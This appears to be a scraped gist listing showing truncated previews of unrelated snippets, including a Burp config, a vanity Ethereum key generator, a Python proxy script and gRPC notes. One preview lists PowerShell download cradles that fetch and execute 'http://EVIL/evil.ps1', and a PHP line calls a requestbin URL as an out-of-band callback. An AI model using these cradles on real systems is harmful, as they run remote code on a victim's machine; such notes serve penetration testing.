This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"project_options":{ | |
"connections":{ | |
"hostname_resolution":[], | |
"out_of_scope_requests":{ | |
"advanced_mode":false, | |
"drop_all_out_of_scope":false, | |
"exclude":[], | |
"include":[], | |
"scope_option":"suite" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!env bash | |
mac_notify() { | |
# Usage: mac_notify "title" "subtitle" "message" "sound" | |
sound="Glass" | |
if [ "$#" -ge 4 ]; then | |
# mac_notify "title" "subtitle" "message" "sound" | |
title="with title \"$1\"" | |
subtitle="subtitle \"$2\"" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
// ^ recommended, included machine readable in bytecode metadata | |
// Software Package Data Exchange is an open standard | |
pragma solidity ^0.8.15; | |
// ^ floating pragma, min 0.8.15 max excluding 0.9.0 | |
// same as complex pragma: pragma solidity >=0.8.15 <0.9.0; | |
// major.breakingchanges.bugfixes | |
// only makes the compiler check for compatibility and throws error if not matching! | |
// should only be floating during development, fixed everywhere during testing & deployment |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var ethers = require('ethers'); | |
var crypto = require('crypto'); | |
var id = crypto.randomBytes(32).toString('hex'); | |
var privateKey = "0x"+id; | |
var wallet = new ethers.Wallet(privateKey); | |
if (wallet.address.endsWith('979')){ | |
console.log("SAVE BUT DO NOT SHARE THIS:", privateKey); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
file_get_contents('https://requestbin.net/r/dp65ck5s?xxxx'); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Confirmed Open Redirect Vulnerability |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from urllib import parse | |
from hyper import HTTPConnection | |
import urllib3 | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
PROXY = { | |
'http': 'http://127.0.0.1:8099', | |
'https': 'http://127.0.0.1:8099', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# GRPC WITH JAVA GOLANG | |
## 2. gRPC với Protocol Buffer | |
### 2.1 Protobuf code example | |
``` | |
syntax = "proto3"; | |
message HelloRequest { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from itertools import chain, product | |
import string | |
def dict_all_size(charset, minlength, maxlength): | |
return (''.join(candidate) | |
for candidate in chain.from_iterable(product(charset, repeat=i) | |
for i in range(minlength, maxlength + 1))) | |
print([i for i in dict_all_size(string.hexdigits[:16], 2, 2)]) |
NewerOlder